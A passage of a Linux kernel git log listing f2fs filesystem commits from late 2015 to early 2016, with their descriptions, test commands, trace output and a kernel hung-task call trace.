Jaegeuk Kim Date: Mon Feb 8 14:17:38 2016 -0800 f2fs: increase i_size to avoid missing data When finsert is doing with dirting pages, we should increase i_size right away. Otherwise, the moved page is able to be dropped by the following filemap_write_and_wait_range before updating i_size. Especially, it can be done by if ((page->index >= end_index + 1) || !offset) goto out; in f2fs_write_data_page. This should resolve the below xfstests/091 failure reported by Dave. $ diff -u tests/generic/091.out /home/dave/src/xfstests-dev/results//f2fs/generic/091.out.bad --- tests/generic/091.out 2014-01-20 16:57:33.000000000 +1100 +++ /home/dave/src/xfstests-dev/results//f2fs/generic/091.out.bad 2016-02-08 15:21:02.701375087 +1100 @@ -1,7 +1,18 @@ QA output created by 091 fsx -N 10000 -l 500000 -r PSIZE -t BSIZE -w BSIZE -Z -R -W -fsx -N 10000 -o 8192 -l 500000 -r PSIZE -t BSIZE -w BSIZE -Z -R -W -fsx -N 10000 -o 32768 -l 500000 -r PSIZE -t BSIZE -w BSIZE -Z -R -W -fsx -N 10000 -o 8192 -l 500000 -r PSIZE -t BSIZE -w BSIZE -Z -R -W -fsx -N 10000 -o 32768 -l 500000 -r PSIZE -t BSIZE -w BSIZE -Z -R -W -fsx -N 10000 -o 128000 -l 500000 -r PSIZE -t BSIZE -w BSIZE -Z -W +mapped writes DISABLED +skipping insert range behind EOF +skipping insert range behind EOF +truncating to largest ever: 0x11e00 +dowrite: write: Invalid argument +LOG DUMP (7 total operations): +1( 1 mod 256): SKIPPED (no operation) +2( 2 mod 256): SKIPPED (no operation) +3( 3 mod 256): FALLOC 0x2e0f2 thru 0x3134a (0x3258 bytes) PAST_EOF +4( 4 mod 256): SKIPPED (no operation) +5( 5 mod 256): SKIPPED (no operation) +6( 6 mod 256): TRUNCATE UP from 0x0 to 0x11e00 +7( 7 mod 256): WRITE 0x73400 thru 0x79fff (0x6c00 bytes) HOLE +Log of operations saved to "/mnt/test/junk.fsxops"; replay with --replay-ops +Correct content saved for comparison +(maybe hexdump "/mnt/test/junk" vs "/mnt/test/junk.fsxgood") Reported-by: Dave Chinner Signed-off-by: Jaegeuk Kim commit 7ba6bc23291a51c7dce4d0293d825e2a924d48ea Author: Jaegeuk Kim Date: Wed Feb 3 13:49:44 2016 -0800 f2fs: preallocate blocks for buffered aio writes This patch preallocates data blocks for buffered aio writes. With this patch, we can avoid redundant locking and unlocking of node pages given consecutive aio request. [For 3.10] - Add preallocationg for generic_splice_write(sendfile) for xfstests/249, 285 Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit 0c5e51763a56b761976e9eb42c2130c04b3f8364 Author: Jaegeuk Kim Date: Wed Feb 3 13:09:09 2016 -0800 f2fs: move dio preallocation into f2fs_file_write_iter This patch moves preallocation code for direct IOs into f2fs_file_write_iter. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c fs/f2fs/file.c commit 2c9c2a0f4aaa8dc5baecef5de0b2d1f25b42231a Author: Yunlei He Date: Thu Feb 4 16:14:00 2016 +0800 f2fs: fix missing skip pages info fix missing skip pages info in f2fs_writepages trace event. Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim commit 033ff07467848ed641cef8ef4539e964a6865abf Author: Chao Yu Date: Mon Jan 18 18:28:11 2016 +0800 f2fs: introduce f2fs_submit_merged_bio_cond f2fs use single bio buffer per type data (META/NODE/DATA) for caching writes locating in continuous block address as many as possible, after submitting, these writes may be still cached in bio buffer, so we have to flush cached writes in bio buffer by calling f2fs_submit_merged_bio. Unfortunately, in the scenario of high concurrency, bio buffer could be flushed by someone else before we submit it as below reasons: a) there is no space in bio buffer. b) add a request of different type (SYNC, ASYNC). c) add a discontinuous block address. For this condition, f2fs_submit_merged_bio will be devastating, because it could break the following merging of writes in bio buffer, split one big bio into two smaller one. This patch introduces f2fs_submit_merged_bio_cond which can do a conditional submitting with bio buffer, before submitting it will judge whether: - page in DATA type bio buffer is matching with specified page; - page in DATA type bio buffer is belong to specified inode; - page in NODE type bio buffer is belong to specified inode; If there is no eligible page in bio buffer, we will skip submitting step, result in gaining more chance to merge consecutive block IOs in bio cache. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 594990d3269df7343031b43e9d52db9f66c43698 Author: Jaegeuk Kim Date: Fri Jan 29 16:21:15 2016 -0800 f2fs: fix conflict on page->private usage This patch fixes confilct on page->private value between f2fs_trace_pid and atomic page. Signed-off-by: Jaegeuk Kim commit 3d8f0efcbcdb93445dd5dadf1ffac73057434625 Author: Jaegeuk Kim Date: Fri Jan 29 08:57:59 2016 -0800 f2fs: flush bios to handle cp_error in put_super Sometimes, if cp_error is set, there remains under-writeback pages, resulting in kernel hang in put_super. Signed-off-by: Jaegeuk Kim commit 68d15bf1bd016ef713bbfd8982b6fd1fd617abba Author: Jaegeuk Kim Date: Thu Jan 28 11:48:52 2016 -0800 f2fs: wait on page's writeback in writepages path Likewise f2fs_write_cache_pages, let's do for node and meta pages too. Especially, for node blocks, we should do this before marking its fsync and dentry flags. Signed-off-by: Jaegeuk Kim commit 1607c1aa7740d225c12042ddbe580581cff1b2fc Author: Sheng Yong Date: Thu Jan 28 11:40:26 2016 +0000 f2fs: fix endianness of on-disk summary_footer Signed-off-by: Sheng Yong Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 02c1bcbadede805959b138cf32c301dec6a4dd13 Author: Chao Yu Date: Tue Jan 26 15:42:58 2016 +0800 f2fs: speed up handling holes in fiemap This patch makes f2fs_map_blocks supporting returning next potential page offset which skips hole region in indirect tree of inode, and use it to speed up fiemap in handling big hole case. Test method: xfs_io -f /mnt/f2fs/file -c "pwrite 1099511627776 4096" time xfs_io -f /mnt/f2fs/file -c "fiemap -v" Before: time xfs_io -f /mnt/f2fs/file -c "fiemap -v" /mnt/f2fs/file: EXT: FILE-OFFSET BLOCK-RANGE TOTAL FLAGS 0: [0..2147483647]: hole 2147483648 1: [2147483648..2147483655]: 81920..81927 8 0x1 real 3m3.518s user 0m0.000s sys 3m3.456s After: time xfs_io -f /mnt/f2fs/file -c "fiemap -v" /mnt/f2fs/file: EXT: FILE-OFFSET BLOCK-RANGE TOTAL FLAGS 0: [0..2147483647]: hole 2147483648 1: [2147483648..2147483655]: 81920..81927 8 0x1 real 0m0.008s user 0m0.000s sys 0m0.008s Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 4f7388551f84fa28d70cd3986b1d8395d332e343 Author: Chao Yu Date: Tue Jan 26 15:40:44 2016 +0800 f2fs: introduce get_next_page_offset to speed up SEEK_DATA When seeking data in ->llseek, if we encounter a big hole which covers several dnode pages, we will try to seek data from index of page which is the first page of next dnode page, at most we could skip searching (ADDRS_PER_BLOCK - 1) pages. However it's still not efficient, because if our indirect/double-indirect pointer are NULL, there are no dnode page locate in the tree indirect/ double-indirect pointer point to, it's not necessary to search the whole region. This patch introduces get_next_page_offset to calculate next page offset based on current searching level and max searching level returned from get_dnode_of_data, with this, we could skip searching the entire area indirect or double-indirect node block is not exist. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 1eab059fbe902aec205bb8dab7dadd4497c3c9d3 Author: Chao Yu Date: Tue Jan 26 15:39:35 2016 +0800 f2fs: remove unneeded pointer conversion There are redundant pointer conversion in following call stack: - at position a, inode was been converted to f2fs_file_info. - at position b, f2fs_file_info was been converted to inode again. - truncate_blocks(inode,..) - fi = F2FS_I(inode) ---a - ADDRS_PER_PAGE(node_page, fi) - addrs_per_inode(fi) - inode = &fi->vfs_inode ---b - f2fs_has_inline_xattr(inode) - fi = F2FS_I(inode) - is_inode_flag_set(fi,..) In order to avoid unneeded conversion, alter ADDRS_PER_PAGE and addrs_per_inode to acept parameter with type of inode pointer. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 805a3ffda4c611aa54b4a41ed883db3d656f2488 Author: Chao Yu Date: Tue Jan 26 15:38:29 2016 +0800 f2fs: simplify __allocate_data_blocks This patch uses existing function f2fs_map_block to simplify implementation of __allocate_data_blocks. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit fe6e42eb456cd502fa7c7889009a7c7acacc3e2a Author: Chao Yu Date: Tue Jan 26 15:37:38 2016 +0800 f2fs: simplify f2fs_map_blocks In f2fs_map_blocks, we use duplicated codes to handle first block mapping and the following blocks mapping, it's unnecessary. This patch simplifies f2fs_map_blocks to avoid using copied codes. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 6f15109ea662a18eaf741fd12b05cda52379063d Author: Shuoran Liu Date: Wed Jan 27 09:57:30 2016 +0800 f2fs: introduce lifetime write IO statistics This patch introduces lifetime IO write statistics exposed to the sysfs interface. The write IO amount is obtained from block layer, accumulated in the file system and stored in the hot node summary of checkpoint. Signed-off-by: Shuoran Liu Signed-off-by: Pengyang Hou [Jaegeuk Kim: add sysfs documentation] Signed-off-by: Jaegeuk Kim commit ca0004fb9ad6b0a804b6e8efd918d2a888338631 Author: Jaegeuk Kim Date: Wed Jan 20 07:31:48 2016 +0800 f2fs: give scheduling point in shrinking path It needs to give a chance to be rescheduled while shrinking slab entries. Signed-off-by: Jaegeuk Kim commit 0b67c7309115336198511e94699475983e881199 Author: Hou Pengyang Date: Tue Jan 26 12:56:26 2016 +0000 f2fs: improve shrink performance of extent nodes On the worst case, we need to scan the whole radix tree and every rb-tree to free the victimed extent_nodes when shrinking. Pengyang initially introduced a victim_list to record the victimed extent_nodes, and free these extent_nodes by just scanning a list. Later, Chao Yu enhances the original patch to improve memory footprint by removing victim list. The policy of lru list shrinking becomes: 1) lock lru list's lock 2) trylock extent tree's lock 3) remove extent node from lru list 4) unlock lru list's lock 5) do shrink 6) repeat 1) to 5) Signed-off-by: Hou Pengyang Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 23c72d2cf197ebc699faaf07c339e7159bf285b5 Author: Jaegeuk Kim Date: Tue Jan 26 09:20:05 2016 -0800 f2fs: don't set cached_en if it will be freed If en has empty list pointer, it will be freed sooner, so we don't need to set cached_en with it. Signed-off-by: Jaegeuk Kim commit 9cb38016b08776c4ef03da3af7749aa7f85bafdb Author: Jaegeuk Kim Date: Tue Jan 26 09:12:50 2016 -0800 f2fs: move extent_node list operations being coupled with rbtree operation This patch moves extent_node list operations to be handled together with its rbtree operations. Signed-off-by: Jaegeuk Kim commit 70bfd973764cebf2585e49153a692c250f39614d Author: Hou Pengyang Date: Tue Jan 26 12:56:25 2016 +0000 f2fs: reconstruct the code to free an extent_node There are three steps to free an extent node: 1) list_del_init, 2)__detach_extent_node, 3) kmem_cache_free In path f2fs_destroy_extent_tree, 1->2->3 to free a node, But in path f2fs_update_extent_tree_range, it is 2->1->3. This patch makes all the order to be: 1->2->3 It makes sense, since in the next patch, we import a victim list in the path shrink_extent_tree, we could check if the extent_node is in the victim list by checking the list_empty(). So it is necessary to put 1) first. Signed-off-by: Hou Pengyang Signed-off-by: Jaegeuk Kim commit a6d4f00b30f8fa40ecc4cfb03a618a1c2aaf67c1 Author: Jaegeuk Kim Date: Tue Jan 26 11:55:35 2016 -0800 f2fs: use wq_has_sleeper for cp_wait wait_queue We need to use wq_has_sleeper including smp_mb to consider cp_wait concurrency. Signed-off-by: Jaegeuk Kim commit 35b425fe1d96588d305830f2b927ebf4747f5920 Author: Fan Li Date: Wed Feb 3 16:21:57 2016 +0800 f2fs: avoid unnecessary search while finding victim in gc variable nsearched in get_victim_by_default() indicates the number of dirty segments we already checked. There are 2 problems about the way it updates: 1. When p.ofs_unit is greater than 1, the victim we find consists of multiple segments, possibly more than 1 dirty segment. But nsearched always increases by 1. 2. If segments have been found but not been chosen, nsearched won't increase. So even we have checked all dirty segments, nsearched may still less than p.max_search. All these problems could cause unnecessary search after all dirty segments have already been checked. Signed-off-by: Fan li Signed-off-by: Jaegeuk Kim commit eba0e6ef7e3dfa56f3bb01905e7bd518536d11e3 Author: Yunlei He Date: Wed Feb 3 10:26:13 2016 +0800 f2fs: delete unnecessary wait for page writeback no need to wait inline file page writeback for no one use it, so this patch delete unnecessary wait. Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim commit a6abcfc4df0ad23dc411297e38bc0c73f86e682a Author: Jaegeuk Kim Date: Wed Jan 20 23:43:51 2016 +0800 f2fs: use wait_for_stable_page to avoid contention In write_begin, if storage supports stable_page, we don't need to wait for writeback to update its contents. This patch introduces to use wait_for_stable_page instead of wait_on_page_writeback. Signed-off-by: Jaegeuk Kim commit 6a34d73a553e329aa14564bcd6dbcb28530d9928 Author: Chao Yu Date: Sat Jan 23 16:23:55 2016 +0800 f2fs: enhance foreground GC If we configure section consist of multiple segments, foreground GC will do the garbage collection with following approach: for each segment in victim section blk_start_plug for each valid block in segment write out by OPU method submit bio cache <--- blk_finish_plug <--- There are two issue: 1) for most of the time, 'submit bio cache' will break the merging in current bio buffer from writes of next segments, making a smaller bio submitting. 2) block plug only cover IO submitting in one segment, which reduce opportunity of merging IOs in plug with multiple segments. So refactor the code as below structure to strive for biggest opportunity of merging IOs: blk_start_plug for each segment in victim section for each valid block in segment write out by OPU method submit bio cache blk_finish_plug Test method: 1. mkfs.f2fs -s 8 /dev/sdX 2. touch 32 files 3. write 2M data into each file 4. punch 1.5M data from offset 0 for each file 5. trigger foreground gc through ioctl Before patch, there are totoally 40 bios submitted. f2fs_submit_write_bio: dev = (8,32), WRITE_SYNC, DATA, sector = 65536, size = 122880 f2fs_submit_write_bio: dev = (8,32), WRITE_SYNC, DATA, sector = 65776, size = 122880 f2fs_submit_write_bio: dev = (8,32), WRITE_SYNC, DATA, sector = 66016, size = 122880 f2fs_submit_write_bio: dev = (8,32), WRITE_SYNC, DATA, sector = 66256, size = 122880 f2fs_submit_write_bio: dev = (8,32), WRITE_SYNC, DATA, sector = 66496, size = 32768 ----repeat for 8 times After patch, there are totally 35 bios submitted. f2fs_submit_write_bio: dev = (8,32), WRITE_SYNC, DATA, sector = 65536, size = 122880 ----repeat 34 times f2fs_submit_write_bio: dev = (8,32), WRITE_SYNC, DATA, sector = 73696, size = 16384 Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit cfa8cd6b0b457aedc0fd2efa90d96380a1fbd7c6 Author: Jaegeuk Kim Date: Mon Jan 25 14:31:58 2016 -0800 f2fs: don't need to call set_page_dirty for io error If end_io gets an error, we don't need to set the page as dirty, since we already set f2fs_stop_checkpoint which will not flush any data. This will resolve the following warning. ====================================================== [ INFO: HARDIRQ-safe -> HARDIRQ-unsafe lock order detected ] 4.4.0+ #9 Tainted: G O ------------------------------------------------------ xfs_io/26773 [HC0[0]:SC0[0]:HE0:SE1] is trying to acquire: (&(&sbi->inode_lock[i])->rlock){+.+...}, at: [] update_dirty_page+0x6f/0xd0 [f2fs] and this task is already holding: (&(&q->__queue_lock)->rlock){-.-.-.}, at: [] blk_queue_bio+0x422/0x490 which would create a new lock dependency: (&(&q->__queue_lock)->rlock){-.-.-.} -> (&(&sbi->inode_lock[i])->rlock){+.+...} Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit 72f232cb7a3e9b27ac5208c7f0c0e7577225c130 Author: Jaegeuk Kim Date: Mon Jan 25 10:48:50 2016 -0800 f2fs: avoid needless sync_inode_page when reading inline_data In write_begin, if there is an inline_data, f2fs loads it into 0'th data page. Since it's the read path, we don't need to sync its inode page. Signed-off-by: Jaegeuk Kim commit b0af84a6c0eceed650adedbaa7d079b2102b6362 Author: Jaegeuk Kim Date: Mon Jan 25 10:46:58 2016 -0800 f2fs: don't need to sync node page at every time In write_end, we don't need to sync inode page at every time. Instead, we can expect f2fs_write_inode will update later. Signed-off-by: Jaegeuk Kim commit f1b6caa364dedb44f25f303d084856c4b6fb8f88 Author: Jaegeuk Kim Date: Mon Jan 25 05:57:05 2016 -0800 f2fs: avoid multiple node page writes due to inline_data The sceanrio is: 1. create fully node blocks 2. flush node blocks 3. write inline_data for all the node blocks again 4. flush node blocks redundantly So, this patch tries to flush inline_data when flushing node blocks. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 9ff4401877f6223b444b9d6b5619638156a14b6b Author: Jaegeuk Kim Date: Sat Jan 23 13:35:18 2016 -0800 f2fs: do f2fs_balance_fs when block is allocated We should consider data block allocation to trigger f2fs_balance_fs. Signed-off-by: Jaegeuk Kim commit e0ca17f3575c384bb942fb06dff7c4ad5d3fb13e Author: Jaegeuk Kim Date: Sat Jan 23 22:00:57 2016 +0800 f2fs: fix to overcome inline_data floods The scenario is: 1. create lots of node blocks 2. sync 3. write lots of inline_data -> got panic due to no free space In that case, we should flush node blocks when writing inline_data in #3, and trigger gc as well. Signed-off-by: Jaegeuk Kim commit bb5d790d9c7d168a734ad3deab26b73d937e0ba1 Author: Jaegeuk Kim Date: Wed Jan 20 23:46:05 2016 +0800 f2fs: use writepages->lock for WB_SYNC_ALL If there are many writepages calls by multiple threads in background, we don't need to serialize to merge all the bios, since it's background. In such the case, it'd better to run writepages concurrently. Signed-off-by: Jaegeuk Kim commit 70dba4f380c1d3455debf108e29381b498393773 Author: Jaegeuk Kim Date: Wed Jan 20 08:27:37 2016 +0800 f2fs: remove needless condition check This patch removes needless condition variable. Signed-off-by: Jaegeuk Kim commit a6249e279465f59a8004b04ae6cbfc70fda849bf Author: Chao Yu Date: Fri Jan 22 17:42:06 2016 +0800 f2fs: correct search area in get_new_segment get_new_segment starts from current segment position, tries to search a free segment among its right neighbors locate in same section. But previously our search area was set as [current segment, max segment], which means we have to search to more bits in free_segmap bitmap for some worse cases. So here we correct the search area to [current segment, last segment in section] to avoid unnecessary searching. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 3b63cf6a0eb4faf1df055fcc91a00ae97efe0bb6 Author: Chao Yu Date: Mon Jan 18 18:32:58 2016 +0800 f2fs: export dirty_nats_ratio in sysfs This patch exports a new sysfs entry 'dirty_nat_ratio' to control threshold of dirty nat entries, if current ratio exceeds configured threshold, checkpoint will be triggered in f2fs_balance_fs_bg for flushing dirty nats. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: Documentation/ABI/testing/sysfs-fs-f2fs commit b154d35b4e63186a71cf201ac85a48279e9361e4 Author: Chao Yu Date: Mon Jan 18 18:31:18 2016 +0800 f2fs: flush dirty nat entries when exceeding threshold When testing f2fs with xfstest, generic/251 is stuck for long time, the case uses below serials to obtain fresh released space in device, in order to prepare for following fstrim test. 1. rm -rf /mnt/dir 2. mkdir /mnt/dir/ 3. cp -axT `pwd`/ /mnt/dir/ 4. goto 1 During preparing step, all nat entries will be cached in nat cache, most of them are dirty entries with invalid blkaddr, which means nodes related to these entries have been truncated, and they could be reused after the dirty entries been checkpointed. However, there was no checkpoint been triggered, so nid allocators (e.g. mkdir, creat) will run into long journey of iterating all NAT pages, looking for free nids in alloc_nid->build_free_nids. Here, in f2fs_balance_fs_bg we give another chance to do checkpoint to flush nat entries for reusing them in free nid cache when dirty entry count exceeds 10% of max count. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 4c5910d99789f3da2d54264c36fe92a4dee5def6 Author: Chao Yu Date: Mon Jan 18 18:24:59 2016 +0800 f2fs: relocate is_merged_page Operations in is_merged_page is related to inner bio cache, move it to data.c. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit de5a80973b4b07a5e36d65cfe9bf8db6988b94f7 Author: Jaegeuk Kim Date: Sat Jan 9 17:08:38 2016 -0800 f2fs: should unset atomic flag after successful commit If there is an error during commit, we should keep the flag in order to abort it. Signed-off-by: Jaegeuk Kim commit dc4546f789f2fabd40b1887d752fc677ec2774e1 Author: Jaegeuk Kim Date: Sat Jan 9 16:14:08 2016 -0800 f2fs: fix wrong memory condition check This patch fixes wrong decision for avaliable_free_memory. The return valus is already set as false, so we should consider true condition below only. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/node.c commit b8745386141cdb272a4aa6a114bc5f0fa3c29d7f Author: Jaegeuk Kim Date: Sat Jan 9 13:45:17 2016 -0800 f2fs: monitor the number of background checkpoint This patch adds to show the number of background checkpoint. Signed-off-by: Jaegeuk Kim commit ad625b544d8ff4a7086ebca08873ffa017f2df4e Author: Jaegeuk Kim Date: Fri Jan 8 16:57:48 2016 -0800 f2fs: detect idle time depending on user behavior This patch adds last time that user requested filesystem operations. This information is used to detect whether system is idle or not later. Signed-off-by: Jaegeuk Kim Conflicts: Documentation/ABI/testing/sysfs-fs-f2fs commit 061b7b5fea65d438304894db5e62e2cf8d1dd404 Author: Jaegeuk Kim Date: Fri Jan 8 15:51:50 2016 -0800 f2fs: introduce time and interval facility This patch adds time and interval arrays to store some timing variables. Signed-off-by: Jaegeuk Kim commit 0ab552a1666f5676a29e7143c350bd7da007d587 Author: Chao Yu Date: Fri Jan 8 20:24:00 2016 +0800 f2fs: skip releasing nodes in chindless extent tree If there are no nodes in extent tree, let's skip releasing step to avoid any overhead of grabbing/releasing extent tree lock. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit feec57df0b50eaadfe0025be1d10dd195aad2e4d Author: Chao Yu Date: Fri Jan 8 20:22:52 2016 +0800 f2fs: use atomic type for node count in extent tree 1. rename field in struct extent_tree from count to node_cnt for readability. 2. alter to use atomic type for node_cnt. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 52a59437ae9f2bcb75242eb76f2942a2845066f1 Author: Chao Yu Date: Fri Jan 8 20:19:27 2016 +0800 f2fs: recognize encrypted data in f2fs_fiemap This patch fixes to teach f2fs_fiemap to recognize encrypted data. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit de1d632c295fd63ee679f92e42761718848e96f1 Author: Jaegeuk Kim Date: Thu Jan 7 14:15:04 2016 -0800 f2fs: clean up f2fs_balance_fs This patch adds one parameter to clean up all the callers of f2fs_balance_fs. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/namei.c commit 9f7221d3c89b10383f1bfa247d77984893e41c6e Author: Jaegeuk Kim Date: Thu Jan 7 13:52:34 2016 -0800 f2fs: remove redundant calls This patch removes redundant calls. Signed-off-by: Jaegeuk Kim commit 69d171a3645e6aded50b3c3cbc3b501a063c68d3 Author: Jaegeuk Kim Date: Thu Jan 7 13:23:12 2016 -0800 f2fs: avoid unnecessary f2fs_balance_fs calls Only when node page is newly dirtied, it needs to check whether we need to do f2fs_gc. Signed-off-by: Jaegeuk Kim commit ad045b4990b42a4c302ab5a09e2599e8f33b83a4 Author: Jaegeuk Kim Date: Fri Jan 1 22:03:47 2016 -0800 f2fs: check the page status filled from disk After reading a page, we need to check whether there is any error. Signed-off-by: Jaegeuk Kim commit 4839e4f61e0fcdd88a074353ddbbab78e9bb3c9e Author: Chao Yu Date: Tue Jan 5 16:52:46 2016 +0800 f2fs: introduce __get_node_page to reuse common code There are duplicated code in between get_node_page and get_node_page_ra, introduce __get_node_page to includes common parts of these two, and export get_node_page and get_node_page_ra by reusing __get_node_page. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/node.c commit 95b1addaffebbfa9d352887787f431647f1d89d5 Author: Chao Yu Date: Fri Jan 8 20:13:37 2016 +0800 f2fs: check node id earily when readaheading node page Add node id check in ra_node_page and get_node_page_ra like get_node_page. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 37a1d7b688a46cc2b91605809f636f7e16d4f4c8 Author: Fan Li Date: Mon Jan 4 15:56:50 2016 +0800 f2fs: read isize while holding i_mutex in fiemap make sure the isize we read doesn't change during the process. Signed-off-by: Fan li Signed-off-by: Jaegeuk Kim commit 15b1955f7bc16f3706703df8f39b04e8565784ad Author: Jaegeuk Kim Date: Sat Jan 2 09:23:27 2016 -0800 Revert "f2fs: check the node block address of newly allocated nid" Original issue is fixed by: f2fs: cover more area with nat_tree_lock This reverts commit 24928634f81b1592e83b37dcd89ed45c28f12feb. commit fc26adc75faab4d27051e9a0cb569628e8c525fa Author: Jaegeuk Kim Date: Sat Jan 2 09:19:41 2016 -0800 f2fs: cover more area with nat_tree_lock There was a subtle bug on nat cache management which incurs wrong nid allocation or wrong block addresses when try_to_free_nats is triggered heavily. This patch enlarges the previous coverage of nat_tree_lock to avoid data race. Signed-off-by: Jaegeuk Kim commit 5c5868246d5caca1a20d46813f6a7a7598e1d5b9 Author: Chao Yu Date: Thu Dec 31 14:35:37 2015 +0800 f2fs: introduce max_file_blocks in sbi Introduce max_file_blocks in sbi to store max block index of file in f2fs, it could be used to avoid unneeded calculation of max block index in runtime. Signed-off-by: Chao Yu [Jaegeuk Kim: fix overflow of sbi->max_file_blocks] Signed-off-by: Jaegeuk Kim commit 40eb4db6514a6eaaa0b5ab9c475daa4de99ceeb5 Author: Chao Yu Date: Thu Dec 31 18:20:10 2015 +0800 f2fs crypto: check CONFIG_F2FS_FS_XATTR for encrypted symlink Add missed CONFIG_F2FS_FS_XATTR for encrypted symlink inode in order to avoid unneeded registry of ->{get,set,remove}xattr. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 9751a12b48ae3d6c3c5d9b62491c4cdae8986dc0 Author: Jaegeuk Kim Date: Thu Dec 31 15:02:16 2015 -0800 f2fs: introduce zombie list for fast shrinking extent trees This patch removes refcount, and instead, adds zombie_list to shrink directly without radix tree traverse. Signed-off-by: Jaegeuk Kim commit 6ae7f64a593e3ad035289d21d61ba9efd6e74330 Author: Jaegeuk Kim Date: Thu Dec 31 15:24:14 2015 -0800 f2fs: monitor zombie_tree count This patch adds an entry to show the number of zombie extent_tree. Signed-off-by: Jaegeuk Kim commit 5671a80c18593760be5b619d05e890882bbee910 Author: Jaegeuk Kim Date: Thu Dec 31 13:49:17 2015 -0800 f2fs: use IPU for fdatasync This patch fixes missing IPU condition when fdatasync is called. With this patch, fdatasync is able to avoid additional node writes for recovery. Signed-off-by: Jaegeuk Kim commit 2c8553e8bb73652f872a91ec51154cc6e173bfb2 Author: Jaegeuk Kim Date: Thu Dec 31 13:08:02 2015 -0800 f2fs: write pending bios when cp_error is set When testing ioc_shutdown, put_super is able to be hanged by waiting for writebacking pages as follows. INFO: task umount:2723 blocked for more than 120 seconds. Tainted: G O 4.4.0-rc3+ #8 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. umount D ffff88000859f9d8 0 2723 2110 0x00000000 ffff88000859f9d8 0000000000000000 0000000000000000 ffffffff81e11540 ffff880078c225c0 ffff8800085a0000 ffff88007fc17440 7fffffffffffffff ffffffff818239f0 ffff88000859fb48 ffff88000859f9f0 ffffffff8182310c Call Trace: [] ? bit_wait+0x50/0x50 [] schedule+0x3c/0x90 [] schedule_timeout+0x2d9/0x430 [] ? mark_held_locks+0x6f/0xa0 [] ? ktime_get+0x7d/0x140 [] ? bit_wait+0x50/0x50 [] ? kvm_clock_get_cycles+0x25/0x30 [] ? ktime_get+0xac/0x140 [] ? bit_wait+0x50/0x50 [] io_schedule_timeout+0xa4/0x110 [] bit_wait_io+0x35/0x50 [] __wait_on_bit+0x5d/0x90 [] wait_on_page_bit+0xcb/0xf0 [] ? autoremove_wake_function+0x40/0x40 [] truncate_inode_pages_range+0x4bc/0x840 [] truncate_inode_pages_final+0x4d/0x60 [] f2fs_evict_inode+0x75/0x400 [f2fs] [] evict+0xbc/0x190 [] iput+0x229/0x2c0 [] f2fs_put_super+0x105/0x1a0 [f2fs] [] generic_shutdown_super+0x6a/0xf0 [] kill_block_super+0x27/0x70 [] kill_f2fs_super+0x20/0x30 [f2fs] [] deactivate_locked_super+0x43/0x70 [] deactivate_super+0x5c/0x60 [] cleanup_mnt+0x3f/0x90 [] __cleanup_mnt+0x12/0x20 [] task_work_run+0x73/0xa0 [] exit_to_usermode_loop+0xcc/0xd0 [] syscall_return_slowpath+0xcc/0xe0 [] int_ret_from_sys_call+0x25/0x9f Signed-off-by: Jaegeuk Kim commit a0acef3596b5f2296dbc05b67fe19128f276cc50 Author: Jaegeuk Kim Date: Thu Dec 31 10:28:52 2015 -0800 f2fs: remove f2fs_bug_on in terms of max_depth There is no report on this bug_on case, but if malicious attacker changed this field intentionally, we can just reset it as a MAX value. Signed-off-by: Jaegeuk Kim commit 70ba5134a4566a7dbc4cf1ab112424ba106ddfa2 Author: Jaegeuk Kim Date: Tue Dec 29 15:46:33 2015 -0800 f2fs: fix f2fs_ioc_abort_volatile_write There are two rules to handle aborting volatile or atomic writes. 1. drop atomic writes - we don't need to keep any stale db data. 2. write journal data - we should keep the journal data with fsync for db recovery. Signed-off-by: Jaegeuk Kim commit 387ed5a6328e4e267db62a5c43b53afeba2e0238 Author: Chao Yu Date: Wed Dec 30 17:40:31 2015 +0800 f2fs: fix to skip recovering dot dentries in a readonly fs If filesystem is readonly, leave user message info instead of recovering inline dot inode. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit c96081fa79a89d2f1b9cafbb0b1bb9e3b7f8fe9d Author: Jaegeuk Kim Date: Mon Dec 28 11:39:06 2015 -0800 f2fs: load largest extent all the time Otherwise, we can get mismatched largest extent information. One example is: 1. mount f2fs w/ extent_cache 2. make a small extent 3. umount 4. mount f2fs w/o extent_cache 5. update the largest extent 6. umount 7. mount f2fs w/ extent_cache 8. get the old extent made by #2 Signed-off-by: Jaegeuk Kim commit befbfc986b9d70ae9a9f5a3f30691ca0f28774fb Author: Jaegeuk Kim Date: Mon Dec 28 13:48:11 2015 -0800 f2fs: use i_size_read to get i_size We need to use i_size_read() to get inode->i_size. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit fce6a5fb6f5efc7100cd701c8ca5d357457036f9 Author: Jaegeuk Kim Date: Thu Dec 24 16:13:09 2015 -0800 f2fs: early check broken symlink length in the encrypted case If link is broken, its len is zero, and we don't need to move forward. Signed-off-by: Jaegeuk Kim commit 